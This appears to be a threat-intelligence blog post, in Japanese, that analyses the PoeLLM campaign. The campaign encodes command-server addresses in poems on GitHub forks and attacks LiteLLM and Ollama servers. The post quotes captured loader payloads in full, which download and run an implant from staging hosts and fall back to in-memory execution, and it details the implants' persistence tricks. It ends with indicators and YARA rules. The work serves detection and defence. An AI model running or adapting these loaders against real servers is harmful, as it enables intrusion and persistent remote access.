詩の続きを読む:PoeLLMの隠されたアドレス帳を復元する | AI-native active defense

その詩にはアドレスが隠されていました。

2025年12月9日、discord.jsのフォークに短い詩が現れました。詩の中の数字は、コマンドサーバーのアドレスをエンコードしたものです。Linux向けインプラントはGitHubからこの詩を読み取り、そのアドレスに接続します。詩を書き換えれば、それを読むすべてのインプラントが新しいサーバーへ移動します。

Lumen社のBlack Lotus Labsは10月7日、このファミリーをPoeLLMと命名し、その規模を測定しました。6月中旬のピーク時には、約2,200台のサーバーが影響を受けていました。同社のレポートが追跡したのは、詩を置いた1つのチャネルです。私たちはさらに3つのチャネルを発見し、2025年12月までさかのぼる履歴をたどりました。きっかけは、ハニーポットの1つに届いた1件のリクエストでした。

The ghost69 verb203 the obj32
place194, adj69 and deep,
Where ghost203 verb32 never sleep.
A adj194 ghost69 in the machine,
On obj203 pathways, unseen.
Mr. Robot claims the night,
In adj32 obj194 light.

数字はそれぞれ単語に付いています。数字をplace、ghost、verb、objの順に読むと、194.69.203[.]32になります。後続の行は、同じ4つの数字を繰り返しています。

要点

  • 詩を使ったデッドドロップは2025年12月9日にさかのぼります。これは元のレポートで最も古い詩より4カ月早い時期です。私たちは、さらに3つのGitHubチャネルから運用者の48件のコミットを復元しました。
  • これらの詩には37個のコマンドアドレスが記されており、そのうち32個は、これまで公表された12台のPoeLLMコマンドサーバーに含まれていません。最も新しい7個のうち4個は、詩に名前が載る前からAIサービスを稼働させていました。
  • 運用者は、12月、4月、6月に導入した3種類の詩のエンコード方式を使いました。最新の方式には数字も固定テンプレートもなく、普通の詩にしか見えません。アドレスに戻せるのは、Sentinel内部のテーブルだけです。
  • 配信リクエストはLiteLLMのCVE-2026-42271を狙っており、多くはsystem-monitorという名前のMCPサーバーに偽装して届きます。その背後にあるインプラントはリモートアクセス管理ツールで、マイナーは別のコンポーネントです。
  • Lumenのレポートの9日前から、私たちのOllamaハニーポットには不正なレジストリからのモデルプルが届き始めました。標的ごとに固定のIDが割り当てられていました。
  • 標的となるのは、公開されたLiteLLMとOllamaのサーバーです。パッチ適用バージョンと調査の手引きは後述します。

1件のリクエストをたどる

7月18日、私たちのLiteLLMハニーポットにPOST /mcp-rest/test/connectionが届きました。これは、LiteLLM 1.83.7で修正されたCVE-2026-42271の背後にあるMCPテスト用ルートです。MCP(Model Context Protocol)サーバーはローカルプログラムとして動作できます。脆弱なバージョンでは、このテストルートがリクエストで指定されたコマンドを起動してしまいます。このリクエストは探査ではありませんでした。本文は、TCP/81のステージングホストから/private/managerを取得し、失敗した場合は2番目のホストを試し、ダウンロードしたものを実行するようサーバーに指示していました。

{"transport": "stdio", "command": "python3", "args": ["-c", "import subprocess,os;subprocess.Popen(['bash','-c',\"cd /tmp && (wget -q http://178.128.14[.]204:81/private/manager -O manager 2>/dev/null || curl -sf http://178.128.14[.]204:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://178.128.14[.]204:81/private/manager','manager')\\\" || wget -q http://217.76.63[.]67:81/private/manager -O manager 2>/dev/null || curl -sf http://217.76.63[.]67:81/private/manager -o manager || python3 -c \\\"import urllib.request; urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager','manager')\\\") && chmod +x manager && nohup ./manager --id <id> >/dev/null 2>&1 &\"],start_new_session=True,stdin=open('/dev/null'),stdout=open('/dev/null','w'),stderr=open('/dev/null','w'))"], "env": {}}

2つのダウンロード元ホストは、いずれも運用者のアドレス帳にすでに載っていました。1カ月前、GitHub上の詩がコマンドサーバーとして名指ししていたのです。

この種の配信リクエストは、7月18日から9月30日までに66の送信元アドレスから届きました。手順は変わらないまま、パッケージングだけが変化しました。

初確認 変更点
6月24日 探索の開始:axios/1.14.0が/v1/models、続いて/openapi.jsonにリクエスト(6月は48アドレス)
7月18日 配信の開始:主系・予備系のステージャーから、TCP/81で/private/managerを取得
8月14日 リクエスト本文がsystem-monitorという名前のMCPサーバー設定として届く。コマンドにはllrig-ラベルが付く
8月20日 ローダーがBase64で包まれて届き、メモリ上での代替実行も備える。--port 10が登場
8月24日 ローダーがx86-64版とAArch64版のビルドを選択するようになる

8月14日には、同じ手順がMCPサーバー設定の中に、平文のPythonとして届きました。

{"server_name":"system-monitor","transport":"stdio","command":"python3","args":["-c","import os,subprocess;subprocess.call(\"python3 -c \\\"import urllib.request,os,subprocess,time,socket;socket.setdefaulttimeout(12);f='/tmp/.'+str(os.getpid());urllib.request.urlretrieve('http://217.76.63[.]67:81/private/manager',f);os.chmod(f,0o755);subprocess.Popen([f,'--id','llrig-<n>'],stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True);time.sleep(2)\\\"\",shell=True)"],"env":{}}

脆弱なゲートウェイでは、このローダーがそのサーバーの起動コマンドとして実行されます。ログに残るのは、ごく普通の名前のサーバーに対するMCP接続テストだけです。インジェクションがインプラントを起動するのは1回限りで、以降は自前の永続化機能が稼働を維持します。

8月20日以降、コマンドは単一のBase64ブロブpython3 -c "import base64;exec(base64.b64decode('…').decode())"になりました。以下は8月24日版をデコードしたものです。

import ctypes,os,subprocess as P,urllib.request as R,socket,time
socket.setdefaulttimeout(12)
_m='manager-amd64'
if os.uname().machine in ('aarch64','arm64'): _m='manager-arm64'
_url='http://217.76.63[.]67:81/private/'+_m
_args=["--id","llrig-<n>","--port","10"]
_kw=dict(stdin=open('/dev/null','rb'),stdout=open('/dev/null','wb'),stderr=open('/dev/null','wb'),start_new_session=True)
_ok=False
try:
  _f='/tmp/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
except Exception:
  pass
if not _ok:
  try:
    _f='/dev/shm/.'+str(os.getpid()); R.urlretrieve(_url,_f); os.chmod(_f,0o755); P.Popen([_f]+_args,**_kw); _ok=True
  except Exception:
    pass
if not _ok:
  _libc=ctypes.CDLL(None); _fd=_libc.memfd_create(ctypes.c_char_p(b'x'),0)
  os.write(_fd,R.urlopen(_url).read())
  _fp='/proc/self/fd/'+str(_fd)
  P.Popen([_fp]+_args,**_kw,pass_fds=(_fd,)); os.close(_fd); _ok=True
time.sleep(2)

ローダーはホストに合わせて/private/manager-amd64または/private/manager-arm64を選び、/tmp/.<pid>として保存して、--id llrig-<n> --port 10付きで実行します。失敗した場合は/dev/shm/.<pid>を試します。それも失敗すると、匿名メモリファイルからバイナリを実行します。ローダーは、失敗した試行のファイルを削除しません。たとえば/tmpと/dev/shmがnoexecでマウントされていてメモリファイル経由の実行に至ったホストには、これらのディレクトリにコピーが残っている可能性があります。

ハニーポットは、運用者の動き方に関する3つのパターンも記録しました。

  • キャンペーンのアドレスも探索を実施:キャンペーンのコマンド/ステージングホストのうち3つが、axios/1.14.0による探索リクエストを私たちに送ってきました。さらに2つが、User-Agentなしで同じパスにリクエストしました。7月の主系ステージャーは、配信リクエストでダウンロード元として名指しされた2日後に探索を行いました。
  • 8月は探索の数分後に配信:同月の配信リクエスト29件のうち16件は、同じハニーポットがaxiosによる2つの探索リクエスト(/v1/models、続いて/openapi.json)を受けてから10分以内に到達しました。このパターンは7月にも9月にも確認していません。
  • 同じ送信元がOllamaを先に確認:7月の配信元のうち3つは、最初のLiteLLM配信リクエストの3〜27時間前に、私たちのOllamaハニーポットの/api/versionに問い合わせていました。

BridgeとSentinelのリバースエンジニアリング

配信リクエストが設置しようとするのはマイナーではなく、マネージャーです。私たちは最新の2ビルドを静的解析でリバースエンジニアリングしました。

実務上の懸念は、持続的なリモートアクセスです。2つのビルドを合わせると、シェルコマンドの実行、ファイルの受け取り、コントローラーが指定するネットワークのスキャン、トラフィックの中継、他プログラムの起動と再起動、新バージョンへの自己置換が可能です。マイナーを除去しても、運用者のアクセスが残る可能性があります。静的解析が示すのはコードで何ができるかであり、どのホストでどの機能が実際に動いたかではありません。

Bridge 3.0.7 Sentinel 1.5.2
役割 リモートアクセスとスキャン 運用者プロセスのスーパーバイザー
ビルド 静的リンクのx86-64、Alpine・musl、mbedTLS 2.28.10 UPXパック済みのAArch64、Alpine・musl、mbedTLS 2.28.10
設定 XOR 0x5A XOR 0x5Aに加え、スタック上で組み立てる文字列
リゾルバー 3つのデッドドロップ。リレー経由を先に、次に直接接続 同じ3つのデッドドロップ。直接接続を先に、次にリレー経由
コマンドチャネル TCP/5001、TCPとUDP TCP/5002、送受信それぞれに別のRC4ストリーム

共通のビルド環境、設定キー、デッドドロップのリストは、同一の作成者であることを示しています。PoeLLMのほかのポートは、作戦の別の部分に属します。3778は、作戦で最も古いリゾルバーであるcolonna(Miraiの改変ビルド)用、1458は両ビルドが使う5つの取得リレー用、9999は別個のマイナー用です。

Bridge 3.0.7:詩を引用するパーサー

Bridgeは、そのコード自体から手口が分かります。詩を読むために、The %63s %63s the %63sと%63[^,], %63s and deep,という2つのフォーマット文字列を使います。2つ目は詩の2行目で、番号付きの単語をプレースホルダーに置き換えたものです。Bridgeはアドレスをplace、ghost、verb、objectの順に読み取り、bridge_srv_ip_<id>という名前のファイルに保存して、詩が変わるたびに再接続します。

リゾルバーの周囲には、リモートアクセス用クライアントがあります。ディスパッチャーは、SHELL_CMD(コマンドを実行して出力を返す)、SUBNET_SCAN(標的とポートはコントローラーが指定)、TCP_TUNNEL_OPENとHTTP_REQUEST(ホストを中継点に変える)、そして分割・再開可能なファイル転送を処理します。スキャン対象や中継先はハードコードされておらず、すべての標的はコントローラーが与えます。

Sentinel 1.5.2:止めにくく作られたビルド

Sentinelは新しい方のビルドで、UPX 4.21でパックされた静的AArch64バイナリです。一部の文字列は0x5AでXORエンコードされているか、実行時にスタック上で組み立てられます。それ以外は、アンパックすれば読めます。設定も同じ鍵で隠されており、3つのデッドドロップと5つのリレーが列挙されています。

サーバーの発見:Sentinelは各デッドドロップをGitHubから直接取得し、続いてTCP/1458の5つのリレー経由で取得します。HTTPSをHTTPより先に試し、証明書検証は無効化しています。タイムアウトを2秒、5秒、30秒として3巡し、各リクエストの前に0〜499ミリ秒のランダムな待機を入れ、4種類のブラウザUser-Agentを巡回させます。そのうち2つは不正な形式のため、照合しやすくなっています。1つはEdge/124.0を名乗っていますが、本物のEdgeはEdg/を送ります。パーサーはスタンザ、単純なドット区切りアドレス、より単純な数値形式のいずれも受け付け、接続前にinet_ptonで結果を検証します。

コントローラーとの通信:Sentinelはデフォルトで TCP/5002に接続します。双方が4バイトの乱数で通信を開始し、Sentinelは両方のノンスとバイナリ内の16バイトの秘密を混ぜて、送信用と受信用のRC4ストリーム2本分の鍵を作ります。鍵はセッションごとに変わるため、記録したトラフィックを復号するには、秘密と、その接続の冒頭にある2つのノンスが必要です。ストリーム内では、Sentinelが134バイトのフレーム(マジック値0x5EC4、プロセスID、ローダーが渡した--id、ホスト名)で登録を行い、その後、コロン区切りのテキストコマンドを受け取ります。

機能:Sentinelはペイロードそのものではなく、運用者のペイロードが動くプラットフォームです。最大16個のプロセスを監督し、それぞれにMANAGED_BY_SENTINELのタグを付け、プロセスごとに1,000行のログを保持し、各プロセスが自ら終了したのか、クラッシュしたのか、ホスト上の別の何かに強制終了されたのかを記録します。運用者はこれらのプロセスの追加・停止・再起動(PROC_ADD、PROC_KILL、RESTART_ALL)、シェルコマンドの実行(SHELL:)、ファイルの送り込み(FILE_SEND:)、Sentinel自身の置き換え(CLIENT_UPDATE:)、新しいサーバーへの切り替え(FORCE_IP:)、痕跡の自己消去(DELETE_TRACE)を行えます。インストール先は、avahi-daemonやpackagekitなど16種類の借用したデーモン名のいずれかで、/usr/libexecや/var/lib/dbusといったディレクトリに置かれます。

生き残りの仕組み:SentinelのsystemdユニットはKillSignal=SIGCONTとSendSIGKILL=noを設定しています。そのためsystemctl stopは、実行中のプロセスに対して何も起こさないシグナルを送るだけで、その後に強制終了することもありません。ユニットの背後では、@rebootのcronエントリと5分ごとのpgrepウォッチドッグ(どちらも#snt-タグ付き)が再起動をかけ、chattr +iがバイナリの削除を妨げます。バイナリには、実行中のpython3プロセスにランチャーを注入するための文字列も含まれていましたが、私たちはその経路をたどっていません。

Bridgeの永続化はより一般的です。systemdユニット、systemctl is-activeが失敗すると再起動する5分間隔のcronジョブ、PostgreSQLのarchive_commandフック、/etc/profile.d/dbus-mgr.shのシェルフック、そしてchattr +iです。

libgcrypt:別個のマイニングコンポーネント

BridgeにもSentinelにも、マイニングのコードは含まれていません。その役割は別のプログラムが担います。元のPoeLLMレポートで取り上げられたもので、~/.local/share/.syslib/の下にlibgcryptとして自身をインストールします。同レポートは、リモートシェルも備えると述べています。公開マルウェアサンドボックスでは、TCP/9999で自身のサーバーに報告し、Kryptexのプールに対してXMRigとIronでマイニングを行いました。感染拡大も試みます。2回のサンドボックス実行で、LiteLLMのデフォルトポートである4000上の約300個のランダムなホストを探索し、そのうち14個に同じ/mcp-rest/test/connectionリクエストを送りました。そのコードをBridgeやSentinelと結びつける類似性ハッシュはありませんが、Bridgeと共通する習性が1つあります。サーバーアドレスをファイル/tmp/.srvipに書き出すことです。

SentinelとマイナーはあるアドレスでつながっていRます。6月16日、umbrelチャネルは178.128.14[.]204をSentinelのコマンドサーバーとして公開しました。6月17日と18日には、マイナーが公開マルウェアサンドボックス内で同じサーバーに接続しました。

詩の置き場所

両ビルドとも、設定に同じ3つのデッドドロップの場所を持っています。それぞれ有名プロジェクトのフォークを指し、運用者がGitHubのウェブエディタで何度も書き換えたファイルが1つ追加されています。

親プロジェクト フォークの所有者 デッドドロップのファイル コミット数 活動期間
discordjs/discord.js franchgamer34 packages/api-extractor-model/src/items/NewAPi.readme 30 2025年12月9日〜2026年8月27日
wszqkzqk/deepin-wine-ubuntu alessio756 deepin-wine-plugin-virtual_1.0deepin1_all/DEBIAN/control.readme 12 2026年3月7日〜8月27日
getumbrel/umbrel francoryt3 packages/umbreld/source/modules/blacklist-uas/blacklist-uas.readme 6 2026年3月12日〜8月19日

これら3つと、以前報告されたdash.cssフォークの所有者を合わせた4つのアカウントは、いずれもその後削除されました。ただしコミットは残っています。削除されたフォークのコミットは親プロジェクトのリポジトリ経由で読み取れ、この48件はすべて10月12日時点でも解決できました。各チャネルの履歴の私たちの控えは、コミットを一覧できた最終日である9月2日で止まっています。コミットハッシュはデッドドロップのアーカイブに掲載しています。

親プロジェクトが侵害されたわけではありません。GitHubはフォークのコミットを親のURLの下に表示するため、discord.js、umbrel、deepin-wine-ubuntuには何も変更がないのに、これらのリンクはそちらを指します。これらをブロックしないでください。

第1世代:番号付きの詩

12月の詩は第1世代です。2025年12月9日から2026年6月17日までに、運用者は31個のアドレスをエンコードした39編の番号付きの詩を公開しました。そのうち20個は、dash.cssの詩が最初にコミットされた4月13日より前に出ています。4月13日当日にも、discord.jsチャネルがもう1つ公開しました。

公開されているマルウェア記録が、最初期の活動を裏付けています。最初の詩の3日前にあたる12月6日、URLhaus、MalwareBazaar、VirusTotalには、194.69.203[.]32:81/hiddenbin/がcolonnaを配布している様子が記録されていました。これは、最初の詩が指すことになるアドレスです。2月15日には、191.37.28[.]163:81からcolonnaを取得する446バイトのスクリプト(c9d56373…)がVirusTotalに提出されました。このアドレスは、その2日前にdiscord.jsチャネルが公開したものです。サンドボックスでは、colonnaはその後TCP/3778で当該ホストにビーコンを送り、リレー経由でdiscord.jsチャネルを取得しました。

第2世代:キーワードの詩

元のPoeLLMレポートは、4月13日からのdash.cssフォークにある第2世代を取り上げました。2連の詩が、テンプレートの固定スロットに4つのキーワードを隠しており、バイナリ内の辞書が各キーワードを1つのオクテットに対応づけます。数字はなくなりましたが、各キーワードは依然として1つのオクテットを表しています。

第3世代:スタンザ暗号

Sentinelは4行のスタンザを読みます。各行は、それぞれ16エントリのテーブルから選んだ書き出しの句と結びの句を組み合わせたもので、その組み合わせが1つのオクテットになります。

octet = (opening_index << 4) | ending_index

架空の行the lighthouse rests at dawn.では、書き出しの12と結びの0が192をエンコードします。実際の行は月、川、スズメ、ランタンを題材にしているため、各スタンザは普通の詩に読めます。アドレスに戻せるのは、Sentinelのテーブルだけです。

6月16日から8月27日までに、チャネルには8つのスタンザが載り、7個のコマンドアドレスを示しました。運用者自身の形式変更が、デコードの正しさを裏付けています。同じアドレスが、6月17日には番号付きの詩として、6月18日にはスタンザとして現れたのです。

4つのチャネル、1つのアドレス帳

dash.cssフォークも、同じアドレス帳を使っています。公開済みのPoeLLMコマンドサーバー12台のうち5台は、今回の3チャネルにも登場します。3台は元のレポートのテレメトリで初めて確認された日と同じ日、1台は2日前、もう1台は6日後です。4つのチャネルはいずれも同じ仕組みで動いています。人気プロジェクトをフォークし、ファイルを1つ追加して、その中の短い詩を書き換え続けるというものです。これらのチャネルの背後にある3つのフォークアカウントは14分以内に作成されており、リポジトリをまたいで同一の詩を再利用しています。

アドレス 元のレポートでの初確認 今回の初公開
120.224.114[.]212 5月9日 5月7日
5.78.73[.]122 6月8日 6月8日
15.204.178[.]28 6月14日 6月14日
178.128.14[.]204 6月16日 6月16日
103.249.201[.]108 8月13日 8月19日

3つのチャネルを合わせると37個のコマンドアドレスが名指しされており、そのうち32個は、これまで公表された12台に含まれていません。一部のアドレスからは、運用者が数カ月にわたって同じネットワークに戻ってくる様子がうかがえます。2月に番号付きの詩が名指しした191.37.28[.]163は、元のレポートで最も古いコマンドサーバーである191.37.28[.]160と同じ/24にあります。4月に公開された101.47.160[.]163は6月に私たちのハニーポットをスキャンし、9月には配信リクエストのステージングホストとして現れました。

詩より前から動いていたAIサービス

スキャンとDNSの履歴によると、スタンザで名指しされた7個のアドレスのうち4個では、詩に載る前からAIサービス(LiteLLM、n8n、ComfyUI、Jupyterのいずれか)が稼働していました。運用者がこれらのサーバーを侵害したのか、自ら立てたのかは判断できません。Lumenは、運用者が侵害したルーターをコマンドサーバーとして使い、過去の被害者を新たな標的の攻撃に利用してきたと報告しています。あるアドレスは、5月20日からn8nのホスト名を持ち、7月17日からLiteLLMを稼働させていました。7月22日に詩がこれを名指しし、その3日後にポート81が現れました。

全員に番号が振られる

PoeLLMが公になる9日前、私たちはOllamaを狙った新たなモデルプル段階を観測し始めました。Ollamaは、POST /api/pullで指定されたレジストリならどこからでもモデルをダウンロードします。リクエストが"insecure": trueを設定していれば平文HTTPのレジストリも対象で、組み込みの認証機能はありません。

9月28日から10月5日にかけて、私たちのOllamaハニーポットには、67アドレスから94件のこうしたプルが届きました。名指しされたレジストリは、TCP/9882上の3つです。

<registry>:9882/gate/tensorgate
<registry>:9882/r-orig-<id>/usrlocal
<registry>:9882/r-orig-<id>/usr

3つのレジストリはいずれも、PoeLLMのLiteLLM配信リクエストにステージングホストとしてすでに登場しており、そのうち1つは公表済みのPoeLLMコマンドサーバーです。

tensorgateは、すべての標的で同じでした。<id>は違います。標的となった各ハニーポットには固有の番号が振られ、3つのレジストリとすべての送信元アドレスを通じて8日間同じ番号が保たれました。運用者が標的リストを管理していることを示唆します。

usrとusrlocalは、Ollamaの2つのインストールプレフィックスです。最後のプルの3日後、CERT PolskaはCVE-2026-103663を公開しました。これは、細工したプルによってモデルストアの外にファイルが書き込まれ、再起動時にroot権限で実行され得るという脆弱性です。私たちのハニーポットはすべてのプルを拒否したため、生成物は確認していません。これらのリクエストだけでは、この脆弱性を悪用する試みだったのかどうかは判断できません。

調査すべき対象

LiteLLMは1.83.7以降、Ollamaは0.35.0以降にパッチを適用し、どちらも公開インターネットに出さないでください。パッチを当てても、すでに設置されたインプラントは除去されません。以下の兆候も確認してください。一致するリクエストが示すのは送信された内容であり、何かが実行されたことではありません。

  • Ollama:"insecure": trueを伴い、モデル名がhost:port/で始まるPOST /api/pull(特にgate/tensorgateやr-orig-*)。10月4日以降は、その前にdoes-not-exist-zzに対するPOST /api/generateが来ていました。モデル名はリクエスト本文にあるため、本文を保持するログを検索してください。
  • LiteLLM:/mcp-rest/test/connectionまたは/mcp-rest/test/tools/listに送られた、MCPサーバーを定義する本文(多くはsystem-monitorという名前)で、そのコマンドがTCP/81から/private/manager*をダウンロードするもの。入れ子のJSONとBase64を先にデコードしてください。
  • 起動されたインプラント:--id llrig-<n> --port 10付きで起動されたプロセス、または実行ファイルが/tmp/.<digits>、/dev/shm/.<digits>、/memfd:x (deleted)のプロセス。
  • ホスト上のSentinel:/tmp/.snt.lck、/tmp/.snt_x_*、#snt-タグ付きのcrontab行、KillSignal=SIGCONTを持つsystemdユニット、プロセス環境(/proc/<pid>/environ)内のMANAGED_BY_SENTINEL。
  • ホスト上のBridge:bridge_srv_ip_*という名前のファイル、/tmp/.bce_*、/etc/profile.d/dbus-mgr.sh、プロセス環境内のMANAGED_BY_SYSTEMD、設定した覚えのないPostgreSQLのarchive_command。
  • どちらのビルドにも共通:イミュータブル属性の付いた実行ファイルと、5分間隔の再起動cronジョブ。まず実行ファイルにchattr -iを実行し、その後ですべての永続化機構をまとめて除去してください。
  • ネットワーク上:サーバープロセスが、公開GitHubリポジトリの同じrawファイルを繰り返し取得している通信。

YARAとSigmaのルールは検知ルールにあります。

詩の続き

この調査は、ハニーポットが実行しなかった1件のリクエストから始まりました。一般的なアクセスログに残るのは、ルートとステータスコードだけです。Beelzebubは本文を保存しており、その本文がステージングのパスを明かしました。10週間後、同じインフラは私たちのハニーポット4台に、それぞれ固有の標的IDを割り当てていました。

ネットワークテレメトリが示すのは、感染したサーバーがどこに接続したかです。デコイが示すのは、そのサーバーが何を実行するよう指示されたかであり、あらゆる指示が手がかりになります。CaronteによるSentinelのリバースエンジニアリングレポートからは、リレーとデッドドロップのパスが分かりました。私たちはその後、ビルドを自らアンパックして読み解きました。

私たちのハニーポットは、受け取ったものを何も実行しておらず、インプラントは静的に解析しました。調査結果は、Ollama段階が始まる前の9月に関係当局へ報告しています。

センサーにsystem-monitor、tensorgate、あるいは:9882のレジストリが現れた場合や、AIゲートウェイやモデルサーバーに何が届いているかを知りたい場合は、ご連絡ください。Beelzebubはオープンソースで、ご自身で運用できます。

参考資料

ネットワーク上のインジケーター

これらのインジケーターは過去の記録です。アドレスの日付は、詩がそのアドレスを名指しした時期を示すもので、運用者がいつまで使っていたかを示すものではありません。また、一部のアドレスは侵害された第三者のものであったり、その後に持ち主が変わったりしている可能性があります。まず過去のログをこれらで検索し、ブロックする前に現在も活動していることを確認してください。

配信、探索、Ollamaのリクエストを私たちに送ってきたアドレスと、私たちのセンサーが特定されかねない標的IDは非公開としています。

インジケーター 役割 確認時期
62.31.247[.]107:9882 Ollamaモデルレジストリ。TCP/81のステージングとしても名指しされた 2026年9月28日〜10月4日(レジストリとして)
76.13.49[.]213:9882 Ollamaモデルレジストリ。TCP/81のステージングとしても名指しされた 2026年9月28日〜10月4日(レジストリとして)
103.249.201[.]108:9882 Ollamaモデルレジストリ。TCP/81のステージング。umbrelのデッドドロップが名指しした、公表済みのコマンドサーバー 2026年8月13日〜10月5日
<staging>:81/private/manager、/private/manager-amd64、/private/manager-arm64 インプラントのステージング 2026年7月18日〜9月30日
下記のデコード済み37アドレス デッドドロップで名指しされたコマンドアドレス 2025年12月9日〜2026年8月27日

これまでに公表された12台のコマンドサーバーは、Black Lotus LabsのIOCファイルにあります。

先行してAIサービスが動いていたコマンドアドレス

アドレス チャネル 先に稼働を確認したサービス 詩で名指しされた日
205.209.126[.]135 discord.js n8n(DNS、5月20日)、LiteLLM(7月17日) 7月22日
103.249.201[.]108 umbrel LiteLLM(7月14日)、n8n(7月17日) 8月19日
165.245.138[.]247 deepin-wine-ubuntu Jupyter(7月22日)、ComfyUI(7月27日) 8月19日
104.36.85[.]28 deepin-wine-ubuntu ComfyUI(7月21日) 8月27日

アーティファクトのハッシュ

SHA-256 ビルド 形式
7ff0414dd57c9811a3711f3f12a66a611dd0adb00925b44cd728bc81e36e07fa colonna.test x86-64、静的
c9d5637305f9638f37023fe625d8c5e825de3ede0c2b4ffb8c0f902bd476da21 colonnaダウンローダースクリプト シェル
169bb98a3e27c68ccb8cefbabf4d4211c258729b2825aa1e17d36f13b7166c6b Bridgeローダーbins.sh シェル
3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42 Bridge 3.0.7(python3.6) x86-64、静的
7858164459843fd1d708f1ca604cf5e795501a4c881160755b869e2835e04f5d 以前のmanager x86-64、UPX
d4629c28b9a505f6ea65966a3def61e1f6a218f67da1a7afb27d50b95cb73350 Sentinel 1.5.1(Caronte調べ) x86-64、UPX
beb825c4d1a51b5b9ad96151a2921ae318be36f13da2f78cb352dd7f2328a7d4 Sentinel 1.5.1、アンパック済み(Caronte調べ) x86-64、静的
0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9eca Sentinel 1.5.2 AArch64、UPX
f30bf5814c265ab9bb68ebaacd2793db560f68a24d4591e73802f30418cd1751 Sentinel 1.5.2、アンパック済み AArch64、静的

検知ルール

これらのルールは、Detection Rule License 1.1の下で公開されています。

YARA(5ルール)
/*
  PoeLLM: Linux implant detections
  Families: "Sentinel" process supervisor (1.5.x) and "Bridge" managed agent (3.0.7), plus the
            Python delivery loader sent through LiteLLM MCP test requests (CVE-2026-42271).
  Author: Beelzebub Labs. Date: 2026-10-13. License: DRL 1.1.
  Reference: https://beelzebub.ai/blog/reading-the-rest-of-the-poem/
  Sentinel is packed with stock UPX 4.x (LZMA); its strings exist only after unpacking.
  Recommended: unpack a copy with `upx -d`, then scan with the Sentinel_* rules. The
  UPX_Packed_Build rule is a narrow, build-specific fallback. Test results are in the article.
*/
import "elf"
rule PoeLLM_Sentinel_Unpacked_Strings
{
    meta:
        description = "PoeLLM Sentinel supervisor (unpacked): lock files, supervisor log formats, persistence templates, XOR-0x5A protocol tokens"
        family = "PoeLLM.Sentinel"
        reference_sha256_packed = "0ce90d89c1b4258b14f541c9add80ff13760590f4cf6bf338e22c2258ffe9eca"
        arch = "any (strings are architecture-independent; validated on AArch64 only)"
        date = "2026-10-12"
    strings:
        $s01 = "MANAGED_BY_SENTINEL" ascii
        $s02 = "/tmp/.snt.lck" ascii
        $s03 = "/tmp/.snt_x_%s" ascii
        $s04 = "sigkill_likely:prev_pid:%d:ppid:%d:invid:%d" ascii
        $s05 = "concurrent_start:prev_pid:%d:our_ppid:%d:invid:%d" ascii
        $s06 = "Killed by sentinel" ascii
        $s07 = "[sentinel] exec failed:" ascii
        $s08 = "$3 == \"PyRun_SimpleString\"" ascii
        $s09 = "ExecStart=%s%s%s --no-kill" ascii
        $s10 = "/.i2c_lk_%08x" ascii
        $s11 = "#snt-%08x" ascii
        $s12 = "pgrep -f \"^%s\" >/dev/null 2>&1 || %s%s --no-kill" ascii
        $s13 = "KillSignal=SIGCONT" ascii
        $s14 = "SendSIGKILL=no" ascii
        // command tokens are stored XOR 0x5A and decoded on the stack at runtime
        $x01 = "sntnl_v1" xor(0x5a)
        $x02 = "SNT_TAMPER:" xor(0x5a)
        $x03 = "SHM_CHECK" xor(0x5a)
        $x04 = "PROC_LOGS_RESULT:" xor(0x5a)
        $x05 = "DELETE_TRACE" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 5 of ($s*) or 3 of ($x*) or (2 of ($x*) and 2 of ($s*)) )
}
rule PoeLLM_Sentinel_UPX_Packed_Build
{
    meta:
        description = "PoeLLM Sentinel, UPX-packed: static ELF whose UPX p_info declares a known Sentinel original size"
        family = "PoeLLM.Sentinel"
        caveat = "Build-specific: matches known original sizes only (AArch64 1.5.2 = 920760, tested; amd64 1.5.1 = 896512, untested). Prefer unpack-then-scan."
        date = "2026-10-12"
    strings:
        $upx = "UPX!"
    condition:
        uint32(0) == 0x464c457f and filesize < 600KB and
        (uint16(0x12) == 0xb7 or uint16(0x12) == 0x3e) and
        $upx in (0xe0..0x200) and
        for any i in (1..#upx) : (
            @upx[i] < 0x200 and
            ( uint32(@upx[i] + 12) == 920760 or uint32(@upx[i] + 12) == 896512 )
        )
}
rule PoeLLM_Bridge_Strings
{
    meta:
        description = "PoeLLM Bridge managed agent (v3.0.x, static musl x86-64): resolver grammar, persistence and dispatcher strings"
        family = "PoeLLM.Bridge"
        reference_sha256 = "3af9f25a4d45bb4f1ec5627cdbc6703cf3b4be75a892162d299d80ddfb266f42"
        date = "2026-10-12"
    strings:
        $b01 = "/bridge_srv_ip_%s" ascii
        $b02 = "IP_REFRESH: server_connected reset" ascii
        $b03 = "Restarted corollary client services (excluding self)" ascii
        $b04 = "Running under systemd, renaming process via execv" ascii
        $b05 = "The %63s %63s the %63s" ascii
        $b06 = "%63[^,], %63s and deep," ascii
        $b07 = "%s:%s|DESC:%s|VERSION:%s" ascii
        $b08 = "SUBNET_SCAN_START - Session: %s, Target: %s, Ports: %s" ascii
        $b09 = "ATTACKER_WATCHDOG: kill loop detected" ascii
        $b10 = "No postgres environment detected" ascii
        $b11 = "systemctl is-active --quiet %s || systemctl start %s" ascii
        $b12 = "BRIDGE_STANDALONE" ascii
        $b13 = "MANAGED_BY_SYSTEMD" ascii
        $b14 = "Binary hash matches, no update needed" ascii
        $x01 = "/tmp/bridge_clients" xor(0x5a)
        $x02 = "REBOOT_ACK" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and
        ( 4 of ($b*) or (1 of ($x*) and 2 of ($b*)) )
}
rule PoeLLM_XOR5A_Relay_Config
{
    meta:
        description = "PoeLLM (Bridge and Sentinel): XOR-0x5A config holding fetch-proxy rewrites of raw GitHub URLs (:1458/get?url=https://raw.githubusercontent.com/)"
        family = "PoeLLM"
        date = "2026-10-12"
    strings:
        $relay = ":1458/get?url=https://raw.githubusercontent.com/" xor(0x5a)
        $raw   = "https://raw.githubusercontent.com/" xor(0x5a)
    condition:
        uint32(0) == 0x464c457f and filesize < 5MB and $relay and #raw >= 3
}
rule PoeLLM_Delivery_Loader_Python
{
    meta:
